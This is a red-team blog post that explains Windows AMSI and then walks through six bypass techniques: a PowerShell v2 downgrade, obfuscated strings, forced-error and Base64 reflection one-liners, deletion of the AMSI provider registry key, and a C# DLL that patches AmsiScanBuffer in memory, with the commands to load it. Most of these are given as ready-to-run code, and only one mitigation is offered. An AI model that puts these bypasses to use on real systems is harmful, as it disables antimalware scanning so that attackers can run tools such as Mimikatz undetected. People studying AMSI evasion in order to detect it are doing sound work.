[Red Series] AMSI Bypass

Hello all!

After taking the red teaming course last year I finally have some spare time to write. In this post I will share some interesting topics I learn in this course.

Before we go talking about AMSI Bypass, let’s discuss AMSI first. What is AMSI? How it works? If we know the concept we can understand it better.

What is AMSI?

The Windows Anti-Malware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

How AMSI Work?

AMSI is integrated into Microsoft’s PowerShell, VBScript, and JavaScript engines. This can impact application performance even when file, process and other exclusions are in place. The implementation of AMSI in Windows built-in scripting hosts will always trigger A/V scanning even if file, process and other exclusions are in place. With third party or Microsoft anti-malware solutions enabled on a system, this can create a significant performance impact for applications that execute scripts using Windows script hosts. Upon script execution A/V code will be loaded into the application process. This can increase resource usage and potentially cause system/application instability. In Windows Task Manager this will also reflect as high CPU usage in the application running the script, not in Windows nor the registered antivirus product installed.

So we know AMSI, what’s next? Let’s talk about how red teamer deceive the AMSI Protection.

There are dozen of tricks published to bypass AMSI protection. Here we will summarize some of them and explain it.

  1. Powershell Downgrade

The easiest method to do but it can be found when system administrator implement multiple powershell on Windows OS. Red Teamer can user powershell v2 to past AMSI Protection, because powershell v2 does not contain security control such as AMSI.

command

Checking Powershell Version $PSTableVersion

powershell -version 2

if version 2 installed on target machine, checking the version again and you will see and can use powershell v2.

Mitigation

To protect from downgrade attempt, make sure the machine don’t have powershell v2. Even if the machine have multiple powershell version. It’s better to use the highest version of powershell whenever available.

2. Obfuscation

Obfuscation is method to make readable string unreadable. This method too popular in computer security. The simplest obfuscation would be dividing the string into some substrings and rearrange it.

AMSI detect signature on the basis of certain keyword, so obfuscation do evasion

  • to detect AMSI Protection on powershell you can check with “amsiutils” or “Invoke-Mimikatz”.
  • it will show notification “This script contains malicious contain and has been blocked by your anti virus software”.
  • you can evade AMSI Protection, by obfuscate the string, like this: “In”+”vok”+”e”+”-M”+”im”+”i”+”katz”
  • or you can visit https://amsi.fail/

This is a few sample Forcing an Error Method combained by Obfucation. Forcing an Error Method will be explain on the next.

sET-ItEM ( ‘V’+’aR’ + ‘IA’ + ‘blE:1q2’ + ‘uZx’ ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( GeT-VariaBle ( “1Q2U” +”zX” ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f’Util’,’A’,’Amsi’,’.Management.’,’utomation.’,’s’,’System’ ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f’amsi’,’d’,’InitFaile’ ),( “{2}{4}{0}{1}{3}” -f ‘Stat’,’i’,’NonPubli’,’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE}

$a = ‘si’; $b = ‘Am’; $Ref = [Ref].Assembly.GetType((‘System.Management.Automation.{0}{1}Utils’ -f $a $b)); $z = $Ref.GetField((‘am{0}InitFailed’ -f $a), ‘NonPublic,Static’); $z.SetValue($null, $true)

3. Forcing an Error

This method talked by Matt Graeber on tweet. AMSI call amsiInitFailed function and it will return 0 if AMSI notification shown.

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem);

4. Base64 Encoding

This method using base64 encoder to bypass AMSI Protection. it can be combine with Forcing an Error Method.

Original

[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)

Base64

[Ref].Assembly.GetType(‘System.Management.Automation.’+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘QQBtAHMAaQBVAHQAaQBsAHMA’)))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==’))),’NonPublic,Static’).SetValue($null,$true)

5. Remove Key Registry

Sometime remove registry can help to evasion protection, various malicious implement this method after get persistance on target.

Registry Path

HLM:\Software\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}

Remove Registry Command

Remove-Item -Path “HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0–4109–99FE-B9D127C57AFE}” -Recurse

6. DLL Hijacking

What is DLL Hijacking ? DLL hijacking is a method of injecting malicious code into an application by exploiting the way some Windows applications search and load Dynamic Link Libraries (DLL).

There is a (not so) secret here. AMSI is implemented as DLL. And what we do? We create our own DLL which export all AMSI interfaces.

So here’s the functions exported by amsi.dll

if we look API from doc AmsiScanBuffer look like Interesting to check. This function handle read malware content or you can check it detail on https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

Now let’s create a DLL.

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}

UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}

/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}

then run this command

  • [Reflection.Assembly]::Load([IO.File]::ReadAllBytes(“$pwd\BypassAMSI.dll”))
  • [Bypass.AMSI]
  • [Bypass.AMSI]::Disable()

That’s all for now. Thanks for coming here.

References :

--

--

M Dzikri Ramdhani
MII Cyber Security Consulting Services

philosopher, Reverse Engineer, DevSecOps,Python Progamming Lover, Security Technology Enthusiastic.